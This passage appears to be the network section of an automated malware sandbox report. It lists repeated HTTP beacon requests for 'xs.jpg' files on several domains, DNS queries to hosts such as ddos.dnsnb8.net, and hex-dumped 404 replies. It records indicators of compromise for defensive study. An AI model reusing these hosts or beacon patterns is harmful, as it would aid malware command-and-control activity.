Source: global traffic HTTP traffic detected: GET /images/xs.jpg?ea3b604f=-1460829892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159472|1720159260|4|52|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?3fc8f944=1041285988 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?e4bc5c05=1550460958 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5eb9eca6=-1116481204 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159476|1720159259|4|53|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?35f32514=1810254376 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159476|1720159259|4|53|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?741b0543=1947927875 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159477|1720159260|4|53|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?f3a2ce17=-2074342170 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?a8241ece=-1855376372 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?91387e43=-1405817186 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159481|1720159259|4|54|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?2322230a=-1347768526 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159481|1720159259|4|54|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?5e41367=98833255 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159482|1720159260|4|54|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?8effb8fc=117276892 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1964acc0=1278084672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?d090ea93=-795809133 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159485|1720159259|4|55|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?9ba60573=343684734 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159485|1720159259|4|55|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?fc675e35=-120669078 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159486|1720159260|4|55|0; snkz=8.46.123.33
Source: global traffic HTTP traffic detected: GET /xs.jpg?9a7e303d=-814051145 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?325396b5=-1835223640 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?17f3b14d=-1883887666 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159489|1720159259|4|56|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?912c2e80=445489792 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159490|1720159259|4|56|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?1ad41f3e=450109246 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159490|1720159260|4|56|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?d1cd8e49=1614413969 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?45eba6e7=794638136 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?8021ab3c=-2145277124 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=6c1ddd121571cd6cbce60b3d072cca39|8.46.123.33|1720159493|1720159259|4|57|0
Source: global traffic HTTP traffic detected: GET /xs.jpg?a8434aa9=-1471984983 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=eb3d1a0aaa6809b3363ec2c38ffb304a|8.46.123.33|1720159494|1720159259|4|57|0
Source: global traffic HTTP traffic detected: GET /images/xs.jpg?b7b2891=1733586201 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=7dcb216f8ba22ca1321ea8782c10c8ea|8.46.123.33|1720159494|1720159260|4|57|0; snkz=8.46.123.33
Source: SearchApp.exe, 0000001F.00000000.1593174717.000001D62DC64000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: $www.google.www.yahoo.cn.bing.https://www.baidu.www.bing.www.yandex.google chrome equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic DNS traffic detected: DNS query: althawry.org
Source: global traffic DNS traffic detected: DNS query: www.careerdesk.org
Source: global traffic DNS traffic detected: DNS query: arthur.niria.biz
Source: global traffic DNS traffic detected: DNS query: amsamex.com
Source: global traffic DNS traffic detected: DNS query: apple-pie.in
Source: global traffic DNS traffic detected: DNS query: ahmediye.net
Source: global traffic DNS traffic detected: DNS query: g2.arrowhitech.com
Source: global traffic DNS traffic detected: DNS query: ampyazilim.com.tr
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:01 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:06 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:10 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:14 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:18 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:22 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:25 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:29 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:32 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:36 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:01:41 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
